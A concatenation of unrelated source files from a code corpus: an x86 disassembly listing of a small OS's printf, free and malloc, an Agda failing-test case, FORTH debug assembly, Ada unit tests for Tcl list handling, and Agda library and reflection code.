760: 0f be c0 movsbl %al,%eax
763: 89 44 24 04 mov %eax,0x4(%esp)
767: 8b 45 08 mov 0x8(%ebp),%eax
76a: 89 04 24 mov %eax,(%esp)
76d: e8 92 fd ff ff call 504 <putc>
}
state = 0;
772: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
779: 83 45 ec 01 addl $0x1,-0x14(%ebp)
77d: 8b 55 0c mov 0xc(%ebp),%edx
780: 8b 45 ec mov -0x14(%ebp),%eax
783: 8d 04 02 lea (%edx,%eax,1),%eax
786: 0f b6 00 movzbl (%eax),%eax
789: 84 c0 test %al,%al
78b: 0f 85 6e fe ff ff jne 5ff <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
791: c9 leave
792: c3 ret
793: 90 nop
00000794 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
794: 55 push %ebp
795: 89 e5 mov %esp,%ebp
797: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
79a: 8b 45 08 mov 0x8(%ebp),%eax
79d: 83 e8 08 sub $0x8,%eax
7a0: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7a3: a1 20 0a 00 00 mov 0xa20,%eax
7a8: 89 45 fc mov %eax,-0x4(%ebp)
7ab: eb 24 jmp 7d1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
7ad: 8b 45 fc mov -0x4(%ebp),%eax
7b0: 8b 00 mov (%eax),%eax
7b2: 3b 45 fc cmp -0x4(%ebp),%eax
7b5: 77 12 ja 7c9 <free+0x35>
7b7: 8b 45 f8 mov -0x8(%ebp),%eax
7ba: 3b 45 fc cmp -0x4(%ebp),%eax
7bd: 77 24 ja 7e3 <free+0x4f>
7bf: 8b 45 fc mov -0x4(%ebp),%eax
7c2: 8b 00 mov (%eax),%eax
7c4: 3b 45 f8 cmp -0x8(%ebp),%eax
7c7: 77 1a ja 7e3 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
7c9: 8b 45 fc mov -0x4(%ebp),%eax
7cc: 8b 00 mov (%eax),%eax
7ce: 89 45 fc mov %eax,-0x4(%ebp)
7d1: 8b 45 f8 mov -0x8(%ebp),%eax
7d4: 3b 45 fc cmp -0x4(%ebp),%eax
7d7: 76 d4 jbe 7ad <free+0x19>
7d9: 8b 45 fc mov -0x4(%ebp),%eax
7dc: 8b 00 mov (%eax),%eax
7de: 3b 45 f8 cmp -0x8(%ebp),%eax
7e1: 76 ca jbe 7ad <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
7e3: 8b 45 f8 mov -0x8(%ebp),%eax
7e6: 8b 40 04 mov 0x4(%eax),%eax
7e9: c1 e0 03 shl $0x3,%eax
7ec: 89 c2 mov %eax,%edx
7ee: 03 55 f8 add -0x8(%ebp),%edx
7f1: 8b 45 fc mov -0x4(%ebp),%eax
7f4: 8b 00 mov (%eax),%eax
7f6: 39 c2 cmp %eax,%edx
7f8: 75 24 jne 81e <free+0x8a>
bp->s.size += p->s.ptr->s.size;
7fa: 8b 45 f8 mov -0x8(%ebp),%eax
7fd: 8b 50 04 mov 0x4(%eax),%edx
800: 8b 45 fc mov -0x4(%ebp),%eax
803: 8b 00 mov (%eax),%eax
805: 8b 40 04 mov 0x4(%eax),%eax
808: 01 c2 add %eax,%edx
80a: 8b 45 f8 mov -0x8(%ebp),%eax
80d: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
810: 8b 45 fc mov -0x4(%ebp),%eax
813: 8b 00 mov (%eax),%eax
815: 8b 10 mov (%eax),%edx
817: 8b 45 f8 mov -0x8(%ebp),%eax
81a: 89 10 mov %edx,(%eax)
81c: eb 0a jmp 828 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
81e: 8b 45 fc mov -0x4(%ebp),%eax
821: 8b 10 mov (%eax),%edx
823: 8b 45 f8 mov -0x8(%ebp),%eax
826: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
828: 8b 45 fc mov -0x4(%ebp),%eax
82b: 8b 40 04 mov 0x4(%eax),%eax
82e: c1 e0 03 shl $0x3,%eax
831: 03 45 fc add -0x4(%ebp),%eax
834: 3b 45 f8 cmp -0x8(%ebp),%eax
837: 75 20 jne 859 <free+0xc5>
p->s.size += bp->s.size;
839: 8b 45 fc mov -0x4(%ebp),%eax
83c: 8b 50 04 mov 0x4(%eax),%edx
83f: 8b 45 f8 mov -0x8(%ebp),%eax
842: 8b 40 04 mov 0x4(%eax),%eax
845: 01 c2 add %eax,%edx
847: 8b 45 fc mov -0x4(%ebp),%eax
84a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
84d: 8b 45 f8 mov -0x8(%ebp),%eax
850: 8b 10 mov (%eax),%edx
852: 8b 45 fc mov -0x4(%ebp),%eax
855: 89 10 mov %edx,(%eax)
857: eb 08 jmp 861 <free+0xcd>
} else
p->s.ptr = bp;
859: 8b 45 fc mov -0x4(%ebp),%eax
85c: 8b 55 f8 mov -0x8(%ebp),%edx
85f: 89 10 mov %edx,(%eax)
freep = p;
861: 8b 45 fc mov -0x4(%ebp),%eax
864: a3 20 0a 00 00 mov %eax,0xa20
}
869: c9 leave
86a: c3 ret
0000086b <morecore>:
static Header*
morecore(uint nu)
{
86b: 55 push %ebp
86c: 89 e5 mov %esp,%ebp
86e: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
871: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
878: 77 07 ja 881 <morecore+0x16>
nu = 4096;
87a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
881: 8b 45 08 mov 0x8(%ebp),%eax
884: c1 e0 03 shl $0x3,%eax
887: 89 04 24 mov %eax,(%esp)
88a: e8 4d fc ff ff call 4dc <sbrk>
88f: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
892: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
896: 75 07 jne 89f <morecore+0x34>
return 0;
898: b8 00 00 00 00 mov $0x0,%eax
89d: eb 22 jmp 8c1 <morecore+0x56>
hp = (Header*)p;
89f: 8b 45 f0 mov -0x10(%ebp),%eax
8a2: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
8a5: 8b 45 f4 mov -0xc(%ebp),%eax
8a8: 8b 55 08 mov 0x8(%ebp),%edx
8ab: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
8ae: 8b 45 f4 mov -0xc(%ebp),%eax
8b1: 83 c0 08 add $0x8,%eax
8b4: 89 04 24 mov %eax,(%esp)
8b7: e8 d8 fe ff ff call 794 <free>
return freep;
8bc: a1 20 0a 00 00 mov 0xa20,%eax
}
8c1: c9 leave
8c2: c3 ret
000008c3 <malloc>:
void*
malloc(uint nbytes)
{
8c3: 55 push %ebp
8c4: 89 e5 mov %esp,%ebp
8c6: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8c9: 8b 45 08 mov 0x8(%ebp),%eax
8cc: 83 c0 07 add $0x7,%eax
8cf: c1 e8 03 shr $0x3,%eax
8d2: 83 c0 01 add $0x1,%eax
8d5: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
8d8: a1 20 0a 00 00 mov 0xa20,%eax
8dd: 89 45 f0 mov %eax,-0x10(%ebp)
8e0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8e4: 75 23 jne 909 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
8e6: c7 45 f0 18 0a 00 00 movl $0xa18,-0x10(%ebp)
8ed: 8b 45 f0 mov -0x10(%ebp),%eax
8f0: a3 20 0a 00 00 mov %eax,0xa20
8f5: a1 20 0a 00 00 mov 0xa20,%eax
8fa: a3 18 0a 00 00 mov %eax,0xa18
base.s.size = 0;
8ff: c7 05 1c 0a 00 00 00 movl $0x0,0xa1c
906: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
909: 8b 45 f0 mov -0x10(%ebp),%eax
90c: 8b 00 mov (%eax),%eax
90e: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
911: 8b 45 ec mov -0x14(%ebp),%eax
914: 8b 40 04 mov 0x4(%eax),%eax
917: 3b 45 f4 cmp -0xc(%ebp),%eax
91a: 72 4d jb 969 <malloc+0xa6>
if(p->s.size == nunits)
91c: 8b 45 ec mov -0x14(%ebp),%eax
91f: 8b 40 04 mov 0x4(%eax),%eax
922: 3b 45 f4 cmp -0xc(%ebp),%eax
925: 75 0c jne 933 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
927: 8b 45 ec mov -0x14(%ebp),%eax
92a: 8b 10 mov (%eax),%edx
92c: 8b 45 f0 mov -0x10(%ebp),%eax
92f: 89 10 mov %edx,(%eax)
931: eb 26 jmp 959 <malloc+0x96>
else {
p->s.size -= nunits;
933: 8b 45 ec mov -0x14(%ebp),%eax
936: 8b 40 04 mov 0x4(%eax),%eax
939: 89 c2 mov %eax,%edx
93b: 2b 55 f4 sub -0xc(%ebp),%edx
93e: 8b 45 ec mov -0x14(%ebp),%eax
941: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
944: 8b 45 ec mov -0x14(%ebp),%eax
947: 8b 40 04 mov 0x4(%eax),%eax
94a: c1 e0 03 shl $0x3,%eax
94d: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
950: 8b 45 ec mov -0x14(%ebp),%eax
953: 8b 55 f4 mov -0xc(%ebp),%edx
956: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
959: 8b 45 f0 mov -0x10(%ebp),%eax
95c: a3 20 0a 00 00 mov %eax,0xa20
return (void*)(p + 1);
961: 8b 45 ec mov -0x14(%ebp),%eax
964: 83 c0 08 add $0x8,%eax
967: eb 38 jmp 9a1 <malloc+0xde>
}
if(p == freep)
969: a1 20 0a 00 00 mov 0xa20,%eax
96e: 39 45 ec cmp %eax,-0x14(%ebp)
971: 75 1b jne 98e <malloc+0xcb>
if((p = morecore(nunits)) == 0)
973: 8b 45 f4 mov -0xc(%ebp),%eax
976: 89 04 24 mov %eax,(%esp)
979: e8 ed fe ff ff call 86b <morecore>
97e: 89 45 ec mov %eax,-0x14(%ebp)
981: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
985: 75 07 jne 98e <malloc+0xcb>
return 0;
987: b8 00 00 00 00 mov $0x0,%eax
98c: eb 13 jmp 9a1 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
98e: 8b 45 ec mov -0x14(%ebp),%eax
991: 89 45 f0 mov %eax,-0x10(%ebp)
994: 8b 45 ec mov -0x14(%ebp),%eax
997: 8b 00 mov (%eax),%eax
999: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
99c: e9 70 ff ff ff jmp 911 <malloc+0x4e>
}
9a1: c9 leave
9a2: c3 ret
|
test/Fail/Issue3147.agda | shlevy/agda | 1,989 | 14299 | -- Andreas, 2018-06-30, issue #3147 reported by bafain
-- Pattern linearity ignored for as-patterns
-- {-# OPTIONS -v tc.lhs.top:30 #-}
-- {-# OPTIONS -v tc.lhs.linear:100 #-}
open import Agda.Builtin.Equality
open import Agda.Builtin.Nat
f : Nat → Nat
f zero = zero
f x@(suc x) = x -- rhs context:
-- x : Nat
-- x : Nat
-- Should fail during lhs-checking
f-id-1 : f 1 ≡ 1
f-id-1 = refl
f-pre-1 : f 1 ≡ 0
f-pre-1 = refl
|
Src/debug.asm | slowcorners/Minimal-FORTH | 1 | 174686 | ; ----------------------------------------------------------------------
; TEMP DEBUG FUNCTIONS FOR BRINGING UP THE SYSTEM
;
DBG: DB 0
OUTC: DB 0
_LNYB: LDA OUTC
LSL
LSL
LSL
LSL
JPA _HNYB1
_HNYB: LDA OUTC
_HNYB1: LSR
LSR
LSR
LSR
STA OUTC
RTS
; ------------------------------
; "COUT"
_COUT: LDA OUTC
OUT
_OWAIT: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
RTS
; ------------------------------
; "OUTHX"
_OUTHX: LDA OUTC
CPI 10
BMI _OUTH1
SBI 10
ADI 'A'
STA OUTC
JPA _COUT
_OUTH1: ADI '0'
STA OUTC
JPA _COUT
; ------------------------------
; "DUMP"
_DUMP: LDA R2.0
CPI 0
BNE _DUMP1
RTS
;
_DUMP1:
DEW R1
LDR R1
STA OUTC
JPS _HNYB
JPS _OUTHX
LDR R1
STA OUTC
JPS _LNYB
JPS _OUTHX
DEW R1
LDR R1
STA OUTC
JPS _HNYB
JPS _OUTHX
LDR R1
STA OUTC
JPS _LNYB
JPS _OUTHX
LDI 32
STA OUTC
JPS _COUT
DEB R2.0
DEB R2.0
BNE _DUMP1
RTS
_REG: LDI 2
STA R2.0
INW R1 ; High byte first
_REG10: LDR R1
STA OUTC
JPS _HNYB
JPS _OUTHX
LDR R1
STA OUTC
JPS _LNYB
JPS _OUTHX
DEW R1
DEB R2.0
BNE _REG10
RTS
; ------------------------------
; "CRLF"
_CRLF: LDI 0x0D
STA OUTC
JPS _COUT
LDI 0x0A
STA OUTC
JPS _COUT
RTS
; ------------------------------
; "DDST" "DRST"
_DDST: LDI <SP
STA R1.0
LDI >SP
STA R1.1
JPS _REG
LDI 'S'
STA OUTC
JPS _COUT
LDI 32
STA OUTC
JPS _COUT
;
LDI <XSP
STA R1.0
LDI >XSP
STA R1.1
LDI <XSP
SBA SP.0
STA R2.0
LDI >XSP
SCA SP.1
STA R2.1
JPS _DUMP
RTS
_DRST: LDI <RP
STA R1.0
LDI >RP
STA R1.1
JPS _REG
LDI 'R'
STA OUTC
JPS _COUT
LDI 32
STA OUTC
JPS _COUT
;
LDI <XRP
STA R1.0
LDI >XRP
STA R1.1
LDI <XRP
SBA RP.0
STA R2.0
LDI >XRP
SCA RP.1
STA R2.1
JPS _DUMP
RTS
; ------------------------------
; "DEBUG"
DEBUG:
JPS _CRLF
JPS _DRST
JPS _CRLF
JPS _DDST
JPS _CRLF
LDI <IP
STA R1.0
LDI >IP
STA R1.1
JPS _REG
LDI '>'
STA OUTC
JPS _COUT
LDI 32
STA OUTC
JPS _COUT
KWAIT: INP
CPI 0xFF
BEQ KWAIT
CPI CH_BL
BEQ KWAI10
CPI CH_BSP
BNE KWAI20
LDI 0
STA DBG
JPA 0
KWAI10: LDI 0
STA DBG
KWAI20: RTS
; ------------------------------
;
_DEBON: DW _DEBO0
_DEBO0: LDI 1
STA DBG
JPA NEXT
_DEBOF: DW _DEBF0
_DEBF0: LDI 0
STA DBG
JPA NEXT
_HALT: DW _HALT0
_HALT0: JPA _HALT0
|
tests/tcl-lists-test_data-tests.adb | thindil/tashy2 | 2 | 5808 | <filename>tests/tcl-lists-test_data-tests.adb
-- This package has been generated automatically by GNATtest.
-- You are allowed to add your code to the bodies of test routines.
-- Such changes will be kept during further regeneration of this file.
-- All code placed outside of test routine bodies will be lost. The
-- code intended to set up and tear down the test environment should be
-- placed into Tcl.Lists.Test_Data.
with AUnit.Assertions; use AUnit.Assertions;
with System.Assertions;
-- begin read only
-- id:2.2/00/
--
-- This section can be used to add with clauses if necessary.
--
-- end read only
-- begin read only
-- end read only
package body Tcl.Lists.Test_Data.Tests is
-- begin read only
-- id:2.2/01/
--
-- This section can be used to add global variables and other elements.
--
-- end read only
-- begin read only
-- end read only
-- begin read only
function Wrap_Test_Split_List_908c8a_2f822c
(List: String; Interpreter: Tcl_Interpreter := Get_Interpreter)
return Array_List is
begin
begin
pragma Assert(Interpreter /= Null_Interpreter);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"req_sloc(tcl-lists.ads:0):Test_Split_List test requirement violated");
end;
declare
Test_Split_List_908c8a_2f822c_Result: constant Array_List :=
GNATtest_Generated.GNATtest_Standard.Tcl.Lists.Split_List
(List, Interpreter);
begin
begin
pragma Assert(True);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"ens_sloc(tcl-lists.ads:0:):Test_Split_List test commitment violated");
end;
return Test_Split_List_908c8a_2f822c_Result;
end;
end Wrap_Test_Split_List_908c8a_2f822c;
-- end read only
-- begin read only
procedure Test_Split_List_test_split_list(Gnattest_T: in out Test);
procedure Test_Split_List_908c8a_2f822c(Gnattest_T: in out Test) renames
Test_Split_List_test_split_list;
-- id:2.2/908c8a0cca9c184f/Split_List/1/0/test_split_list/
procedure Test_Split_List_test_split_list(Gnattest_T: in out Test) is
function Split_List
(List: String; Interpreter: Tcl_Interpreter := Get_Interpreter)
return Array_List renames
Wrap_Test_Split_List_908c8a_2f822c;
-- end read only
pragma Unreferenced(Gnattest_T);
begin
declare
My_List: constant Array_List := Split_List("a b c d e");
begin
Assert
(My_List'Length = 5, "Failed to convert Tcl list to Ada array.");
end;
declare
My_List: constant Array_List := Split_List("");
begin
Assert
(My_List'Length = 0,
"Failed to convert empty Tcl list to Ada array.");
end;
-- begin read only
end Test_Split_List_test_split_list;
-- end read only
-- begin read only
function Wrap_Test_Split_List_Variable_b25096_53b238
(Name: String; Interpreter: Tcl_Interpreter := Get_Interpreter)
return Array_List is
begin
begin
pragma Assert(Name'Length > 0 and Interpreter /= Null_Interpreter);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"req_sloc(tcl-lists.ads:0):Test_Split_List_Variable test requirement violated");
end;
declare
Test_Split_List_Variable_b25096_53b238_Result: constant Array_List :=
GNATtest_Generated.GNATtest_Standard.Tcl.Lists.Split_List_Variable
(Name, Interpreter);
begin
begin
pragma Assert(True);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"ens_sloc(tcl-lists.ads:0:):Test_Split_List_Variable test commitment violated");
end;
return Test_Split_List_Variable_b25096_53b238_Result;
end;
end Wrap_Test_Split_List_Variable_b25096_53b238;
-- end read only
-- begin read only
procedure Test_Split_List_Variable_test_split_list_variable
(Gnattest_T: in out Test);
procedure Test_Split_List_Variable_b25096_53b238
(Gnattest_T: in out Test) renames
Test_Split_List_Variable_test_split_list_variable;
-- id:2.2/b25096b8f19adb69/Split_List_Variable/1/0/test_split_list_variable/
procedure Test_Split_List_Variable_test_split_list_variable
(Gnattest_T: in out Test) is
function Split_List_Variable
(Name: String; Interpreter: Tcl_Interpreter := Get_Interpreter)
return Array_List renames
Wrap_Test_Split_List_Variable_b25096_53b238;
-- end read only
pragma Unreferenced(Gnattest_T);
begin
Tcl_Eval("set mylist [list a b c d]");
declare
My_List: constant Array_List := Split_List_Variable("mylist");
begin
Assert
(My_List'Length = 4,
"Failed to convert Tcl list variable to Ada array.");
end;
-- begin read only
end Test_Split_List_Variable_test_split_list_variable;
-- end read only
-- begin read only
function Wrap_Test_Merge_List_46a169_8803ae
(List: Array_List) return String is
begin
begin
pragma Assert(List'Length > 0);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"req_sloc(tcl-lists.ads:0):Test_Merge_List test requirement violated");
end;
declare
Test_Merge_List_46a169_8803ae_Result: constant String :=
GNATtest_Generated.GNATtest_Standard.Tcl.Lists.Merge_List(List);
begin
begin
pragma Assert(True);
null;
exception
when System.Assertions.Assert_Failure =>
AUnit.Assertions.Assert
(False,
"ens_sloc(tcl-lists.ads:0:):Test_Merge_List test commitment violated");
end;
return Test_Merge_List_46a169_8803ae_Result;
end;
end Wrap_Test_Merge_List_46a169_8803ae;
-- end read only
-- begin read only
procedure Test_Merge_List_test_merge_list(Gnattest_T: in out Test);
procedure Test_Merge_List_46a169_8803ae(Gnattest_T: in out Test) renames
Test_Merge_List_test_merge_list;
-- id:2.2/46a1691971009546/Merge_List/1/0/test_merge_list/
procedure Test_Merge_List_test_merge_list(Gnattest_T: in out Test) is
function Merge_List(List: Array_List) return String renames
Wrap_Test_Merge_List_46a169_8803ae;
-- end read only
pragma Unreferenced(Gnattest_T);
begin
Assert
(Merge_List((To_Tcl_String("Ada"), To_Tcl_String("Tcl"))) = "Ada Tcl",
"Failed to merge Ada array into Tcl list");
-- begin read only
end Test_Merge_List_test_merge_list;
-- end read only
-- begin read only
-- id:2.2/02/
--
-- This section can be used to add elaboration code for the global state.
--
begin
-- end read only
null;
-- begin read only
-- end read only
end Tcl.Lists.Test_Data.Tests;
|
agda-stdlib/src/Data/Word/Properties.agda | DreamLinuxer/popl21-artifact | 5 | 14346 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Properties of operations on machine words
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Word.Properties where
import Data.Nat.Base as ℕ
open import Data.Bool.Base using (Bool)
open import Data.Word.Base
import Data.Nat.Properties as ℕₚ
open import Function
open import Relation.Nullary.Decidable using (map′; ⌊_⌋)
open import Relation.Binary
using ( _⇒_; Reflexive; Symmetric; Transitive; Substitutive
; Decidable; DecidableEquality; IsEquivalence; IsDecEquivalence
; Setoid; DecSetoid; StrictTotalOrder)
import Relation.Binary.Construct.On as On
open import Relation.Binary.PropositionalEquality
------------------------------------------------------------------------
-- Primitive properties
open import Agda.Builtin.Word.Properties
renaming (primWord64ToNatInjective to toℕ-injective)
public
------------------------------------------------------------------------
-- Properties of _≈_
≈⇒≡ : _≈_ ⇒ _≡_
≈⇒≡ = toℕ-injective _ _
≈-reflexive : _≡_ ⇒ _≈_
≈-reflexive = cong toℕ
≈-refl : Reflexive _≈_
≈-refl = refl
≈-sym : Symmetric _≈_
≈-sym = sym
≈-trans : Transitive _≈_
≈-trans = trans
≈-subst : ∀ {ℓ} → Substitutive _≈_ ℓ
≈-subst P x≈y p = subst P (≈⇒≡ x≈y) p
infix 4 _≈?_
_≈?_ : Decidable _≈_
x ≈? y = toℕ x ℕₚ.≟ toℕ y
≈-isEquivalence : IsEquivalence _≈_
≈-isEquivalence = record
{ refl = λ {i} → ≈-refl {i}
; sym = λ {i j} → ≈-sym {i} {j}
; trans = λ {i j k} → ≈-trans {i} {j} {k}
}
≈-setoid : Setoid _ _
≈-setoid = record
{ isEquivalence = ≈-isEquivalence
}
≈-isDecEquivalence : IsDecEquivalence _≈_
≈-isDecEquivalence = record
{ isEquivalence = ≈-isEquivalence
; _≟_ = _≈?_
}
≈-decSetoid : DecSetoid _ _
≈-decSetoid = record
{ isDecEquivalence = ≈-isDecEquivalence
}
------------------------------------------------------------------------
-- Properties of _≡_
infix 4 _≟_
_≟_ : DecidableEquality Word64
x ≟ y = map′ ≈⇒≡ ≈-reflexive (x ≈? y)
≡-setoid : Setoid _ _
≡-setoid = setoid Word64
≡-decSetoid : DecSetoid _ _
≡-decSetoid = decSetoid _≟_
------------------------------------------------------------------------
-- Boolean equality test.
infix 4 _==_
_==_ : Word64 → Word64 → Bool
w₁ == w₂ = ⌊ w₁ ≟ w₂ ⌋
------------------------------------------------------------------------
-- Properties of _<_
infix 4 _<?_
_<?_ : Decidable _<_
_<?_ = On.decidable toℕ ℕ._<_ ℕₚ._<?_
<-strictTotalOrder-≈ : StrictTotalOrder _ _ _
<-strictTotalOrder-≈ = On.strictTotalOrder ℕₚ.<-strictTotalOrder toℕ
|
src/Leftovers/Equality.agda | JoeyEremondi/AgdaLeftovers | 0 | 15344 | <reponame>JoeyEremondi/AgdaLeftovers<gh_stars>0
{-# OPTIONS --without-K -v 2 #-}
module Leftovers.Equality where
open import Leftovers.Utils
-- open import Leftovers.Leftovers
import Level as Level
-- open import Reflection
open import Reflection.Term
open import Reflection.Pattern as P
open import Reflection.TypeChecking.Monad.Instances
open import Relation.Binary.PropositionalEquality hiding ([_])
open import Relation.Nullary
open import Data.Unit
open import Data.Nat as Nat hiding (_⊓_)
open import Data.Bool
open import Data.Product
open import Data.List as List
open import Data.Char as Char
open import Data.String as String
open import Leftovers.Monad
import Data.List.Categorical
open Data.List.Categorical.TraversableM {m = Level.zero} leftoversMonad
--This file was adapted from https://github.com/alhassy/gentle-intro-to-reflection
open import Reflection.Show
import Data.Nat.Show as NShow
--Unify the goal with a function that does a case-split on an argument of the type with the given name
-- Return the metavariables, along with telescopes, for each branch
cases : Name → Term → Leftovers ⊤
cases typeName hole -- thm-you-hope-is-provable-by-refls
= do
-- let η = nom
δ ← getDefinition typeName
holeType ← inferType hole
debugPrint "refl-cases" 2 (strErr " hole type to start " ∷ termErr holeType ∷ [])
clauses ← forM (constructors δ) (mk-cls holeType)
-- declareDef (vArg η) holeType
let retFun = (pat-lam clauses [])
normFun ← reduce retFun
debugPrint "refl-cases" 2 (strErr "reflcases ret non-norm " ∷ termErr retFun ∷ [])
unify hole normFun
normHole ← reduce hole
debugPrint "refl-cases" 2 (strErr "reflCases final " ∷ termErr normHole ∷ [])
where
-- For each constructor, generate the clause,
-- along with the metavariable term for its right-hand side
mk-cls : Type → Name → Leftovers (Clause )
mk-cls holeType ctor =
do
debugPrint "mk-cls" 2 (strErr "mk-cls with ctor " ∷ nameErr ctor ∷ [])
fullyApplied <- fully-applied-pattern ctor
let
patArgs = List.map CtorArg.pat fullyApplied
patTerm = List.map CtorArg.term fullyApplied
patTypes = List.map CtorArg.type fullyApplied
extendContexts patTypes do
debugPrint "" 2 (strErr "before retType " ∷ termErr holeType ∷ strErr " and " ∷ termErr (con ctor patTerm) ∷ [])
retType ← returnTypeFor holeType (con ctor patTerm)
debugPrint "mk-cls" 2 (strErr "retType is " ∷ termErr retType ∷ [])
-- Make the right-hand side in an extended context
-- with new pattern-match variables
rhs ← freshMeta retType
let
teles =
List.map
(λ (x , n) → ( "arg" String.++ NShow.show n , x ))
(List.zip patTypes (List.upTo (List.length patTypes)))
debugPrint "mk-cls" 2 (strErr "Pat" ∷ strErr (showPatterns patArgs) ∷ [] )
let
ret =
(clause
teles
[ vArg (con ctor patArgs) ]
(rhs ⦂ retType))
debugPrint "mk-cls" 2 (strErr "retClause" ∷ strErr (showClause ret) ∷ [])
-- tryUnify rhs (con (quote refl) [])
pure ret
-- ≡-type-info : Term → Leftovers (Arg Term × Arg Term × Term × Term)
-- ≡-type-info (def (quote _≡_) (𝓁 ∷ 𝒯 ∷ arg _ l ∷ arg _ r ∷ [])) = return (𝓁 , 𝒯 , l , r)
-- ≡-type-info _ = typeError [ strErr "Term is not a ≡-type." ]
-- {- If we have “f $ args” return “f”. -}
-- $-head : Term → Term
-- $-head (var v args) = var v []
-- $-head (con c args) = con c []
-- $-head (def f args) = def f []
-- $-head (pat-lam cs args) = pat-lam cs []
-- $-head t = t
-- import Agda.Builtin.Reflection as Builtin
-- _$-≟_ : Term → Term → Bool
-- con c args $-≟ con c′ args′ = Builtin.primQNameEquality c c′
-- def f args $-≟ def f′ args′ = Builtin.primQNameEquality f f′
-- var x args $-≟ var x′ args′ = does (x Nat.≟ x′)
-- _ $-≟ _ = false
-- {- Only gets heads and as much common args, not anywhere deep. :'( -}
-- infix 5 _⊓_
-- {-# TERMINATING #-} {- Fix this by adding fuel (con c args) ≔ 1 + length args -}
-- _⊓_ : Term → Term → Term
-- l ⊓ r with l $-≟ r | l | r
-- ...| false | x | y = unknown
-- ...| true | var f args | var f′ args′ = var f (List.zipWith (λ{ (arg i!! t) (arg j!! s) → arg i!! (t ⊓ s) }) args args′)
-- ...| true | con f args | con f′ args′ = con f (List.zipWith (λ{ (arg i!! t) (arg j!! s) → arg i!! (t ⊓ s) }) args args′)
-- ...| true | def f args | def f′ args′ = def f (List.zipWith (λ{ (arg i!! t) (arg j!! s) → arg i!! (t ⊓ s) }) args args′)
-- ...| true | ll | _ = ll {- Left biased; using ‘unknown’ does not ensure idempotence. -}
-- {- ‘unknown’ goes to a variable, a De Bruijn index -}
-- unknown-elim : ℕ → List (Arg Term) → List (Arg Term)
-- unknown-elim n [] = []
-- unknown-elim n (arg i unknown ∷ xs) = arg i (var n []) ∷ unknown-elim (n + 1) xs
-- unknown-elim n (arg i (var x args) ∷ xs) = arg i (var (n + suc x) args) ∷ unknown-elim n xs
-- unknown-elim n (arg i x ∷ xs) = arg i x ∷ unknown-elim n xs
-- {- Essentially we want: body(unknownᵢ) ⇒ λ _ → body(var 0)
-- However, now all “var 0” references in “body” refer to the wrong argument;
-- they now refer to “one more lambda away than before”. -}
-- unknown-count : List (Arg Term) → ℕ
-- unknown-count [] = 0
-- unknown-count (arg i unknown ∷ xs) = 1 + unknown-count xs
-- unknown-count (arg i _ ∷ xs) = unknown-count xs
-- unknown-λ : ℕ → Term → Term
-- unknown-λ zero body = body
-- unknown-λ (suc n) body = unknown-λ n (λv "section" ↦ body)
-- {- Replace ‘unknown’ with sections -}
-- patch : Term → Term
-- patch it@(def f args) = unknown-λ (unknown-count args) (def f (unknown-elim 0 args))
-- patch it@(var f args) = unknown-λ (unknown-count args) (var f (unknown-elim 0 args))
-- patch it@(con f args) = unknown-λ (unknown-count args) (con f (unknown-elim 0 args))
-- patch t = t
-- macro
-- spine : Term → Term → Leftovers ⊤
-- spine p goal =
-- do τ ← inferType p
-- _ , _ , l , r ← ≡-type-info τ
-- unify goal (patch (l ⊓ r))
-- macro
-- applyEq : Term → Term → Leftovers ⊤
-- applyEq p hole =
